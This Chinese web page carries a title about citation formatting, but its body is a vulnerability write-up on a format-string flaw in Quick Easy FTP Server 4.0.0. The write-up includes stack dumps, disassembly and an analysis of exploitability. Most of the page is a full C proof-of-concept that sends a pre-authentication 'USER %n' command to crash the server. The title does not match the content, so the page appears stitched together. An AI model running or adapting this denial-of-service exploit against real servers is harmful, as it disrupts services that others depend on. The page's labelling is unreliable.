参考文献多个作者格式

2024-07-08

参考文献多个作者格式

1.参考文献多个作者格式 篇一

版本:Quick easy ftp server 4.0.0(其他版本未测试)

测试:W2K SP4

Quick easy ftp server 4.0.0 未安全使用wsprintfA函数进行字符串操作,导致格式化串漏洞,受影响的命令包括LS, CD,USER等。其中,USER命令不需要拥有合法的账户。

以下是简短的分析:

对于提交用户名:%x%x%x%x%n

读取参数时的栈布局如下:

0012FCC0  011652E8 ASCII “02/10/ 22:33:20.296 (000001)”,TAB,“ - (not logged in)”,TAB,“(127.0.0.1)>”,TAB,“USER %x%x%x%x%n”

0012FCC4  01167670 ->%x

0012FCC8  01164F60 ASCII “(000001)”,TAB,“ - (not logged in)”,TAB,“(127.0.0.1)>”,TAB,“USER %x%x%x%x%n” ->%x

0012FCCC  0012FD88 ->%x

0012FCD0  004147B0 ftpserve.004147B0 ->%x

0012FCD4  312F3230 ->%n

其中0012FCC4  01167670-》指向一个虚函数表

再后来的调用中有如下代码:

00450F13 |. 8B06         |mov    eax, dword ptr [esi]

00450F15 |. 8BCE         |mov    ecx, esi

00450F17 |. FF90 B0000000 |call   dword ptr [eax+B0] --》该eax为可控值,即为%n写入的值

然而由于在参数的第一个位置,无法通过格式化字符串提供更大的值(至少达到栈空间),故不可利用。

0012FCCC  0012FD88 ->%x  该位置放置EBP,在后来恢复栈时将%n写入的值赋予了EBP,在如下代码是崩溃

00450844 |. 8945 FC      mov    dword ptr [ebp-4], eax

00450847 |> 8B45 FC      mov    eax, dword ptr [ebp-4]  -》程序崩溃,访问违例(ebp此时很小)

0045084A |. 5E           pop    esi

0045084B |. C9           leave

0045084C . C2 0C00      retn   0C

由于leave指令在x86中相当于

mov esp, ebp

pop ebp -》注意,POP相对于此时的esp而言,相当于add esp, 4而已

类似于off-by-one的,在retn 0c是,我们也许能够得到一个执行shellcode的机会。

发现提交的USER 字段的值长度限制在很短,此指针通用不可用

1.考察栈中没有提交的原始字符串,没有选择地址的机会(其实有,但是在栈地地址,wsprintfA函数无法达到),没有选择地址的机会

2.考察攻击S.E.H链条,距离漏洞触发代码较远,给的字符数量严重不足,根本无法达到修改链条节点的目的

3.在线程中放置shellcode很困难,没有实际意义。

以我的水平只能达到D.O.S的效果了。

对于USER命令的漏洞测试代码(D.O.S)

#include

#include

#include

#pragma comment(lib, “ws2_32.lib”)

int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize);

int main(int argc, char* argv[])

{

if(argc != 2)

{

printf(“Quick easy ftp server 4.0.0 USER命令格式化串漏洞(D.O.S) POC ”);

printf(“contact: ylbhz@hotmail.com”);

printf(“C:>exp [ip address] ”);

return 0;

}

char strHost[20] = {0};

strcpy(strHost, argv[1]);

char lpBuf[] = “USER %n ”;

SendPayload(strHost, 21, lpBuf, lstrlenA(lpBuf));

return 0; www.2cto.com

}

int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize)

{

SOCKET sock;

struct sockaddr_in client;

WSADATA wsa;

printf(“[*]Init socket... ”);

if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)

{

printf(“[-]WSAStartup Error! ”);

return -1;

}

try

{

client.sin_addr.S_un.S_addr = inet_addr(lpHost);

client.sin_family = AF_INET;

client.sin_port = htons(intPort);

}catch(...)

{

printf(“[-]socket_inaddr init error! ”);

return -1;

}

sock = socket(AF_INET,SOCK_STREAM,0);

if(sock == SOCKET_ERROR)

{

printf(“[-]socket create error! ”);

WSACleanup();

return -1;

}

printf(“[+]Socket Init success! ”);

printf(“[*]Connect the Server... ”);

if(connect(sock,(struct sockaddr *)&client,sizeof(client)) == SOCKET_ERROR)

{

printf(“[-]Connect Error! ”);

closesocket(sock);

WSACleanup();

return -1;

}

printf(“[+]Connect successfull! ”);

printf(“[*]Send Payload! ”);

int intLen = send(sock, lpPayload, intSize, 0);

if(intLen <= 0) printf(“[-]Send Payload Error! ”);

else printf(“Send %d bytes ”, intLen);

char strBuf[1024] = {0};

intLen = recv(sock, strBuf, 1024, 0);

printf(“[*]Close Socket! ”);

closesocket(sock);

return 0;

}

摘自:痛苦的信仰

上一篇:《河中石兽》的原文、译文下一篇:《泊船瓜洲》的诗词赏识